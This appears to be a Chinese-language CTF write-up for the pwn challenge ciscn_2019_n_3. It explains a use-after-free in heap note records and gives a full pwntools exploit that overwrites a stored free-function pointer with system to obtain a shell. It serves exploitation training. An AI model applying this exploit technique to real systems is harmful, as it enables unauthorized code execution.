一道uaf的题目,不是很难,题目还是一个菜单题目,但是它的add功能具有两种type,一种是存储int类型的整数,一种是str字符串,它先会申请0xC大小的堆块,如果是int类型的话,就不会申请新的堆块,并且堆的布局如下:
size+1(1是标志位)(0x11) |
---|
*int_print |
*int_free |
value |
如果申请是str类型的话,chunk布局如下:
size+1(1是标志位)(0x11) //chunk1 |
---|
*str_print |
*str_free |
*value |
size+1(1是标志位) (申请chunk大小) //chunk2 |
value |
释放的时候我们可以看IDA中
int do_del()
{
int v0; // eax@1
v0 = ask("Index");
return (*(records[v0] + 4))(records[v0]);
}
释放时是让free函数指针去free掉records[v0]中的内容这样我们就可以写思路了,就先申请三个int类型chunk,,然后再将其中两个释放掉,再申请一个0xC大小的chunk,这样释放掉的两个会从fastbin中回收供用户使用,这个时候我们就可以将原本*int_free处改写为system_plt再将 *int_free前4个字节处改为sh或bash,然后free这个payload处原本的chunk就可以get shell了,exp如下:
from pwn import *
from LibcSearcher import *
from struct import pack
context(log_level="debug",os="linux",arch="amd64")
sd = lambda x:a.send(x)
sl = lambda x:a.sendline(x)
ru = lambda x:a.recvuntil(x)
rl = lambda :a.recvline()
ra = lambda :a.recv()
rn = lambda x:a.recv(x)
sla = lambda x,y:a.sendlineafter(x,y)
local = 'ciscn_2019_n_3'
a = process(local)
libc = ELF("libc-2.24.so")
#a = remote("node4.buuoj.cn",28770)
elf = ELF(local)
def create(idx,type,value,length=0):
sla("CNote > ",str(1))
sla("Index > ",str(idx))
sla("Type > ",str(type))
if type == 1:
sla("Value > ",str(value))
else:
sla("Length > ",str(length))
ru("Value > ")
if length == 8:
sd(value)
else:
sd(value)
def free(idx):
sla("CNote > ",str(2))
sla("Index > ",str(idx))
def show(idx):
sla("CNote > ",str(3))
sla("Index > ",str(idx))
create(0,1,1)
create(1,1,1)
create(2,1,1)
#gdb.attach(a)
free(0)
free(1)
payload = 'bash' + p32(elf.sym["system"]) + '\n' #此处需要用\x0a覆盖掉原本的0x1
create(3,2,payload,0xc)
#gdb.attach(a)
free(0)
a.interactive()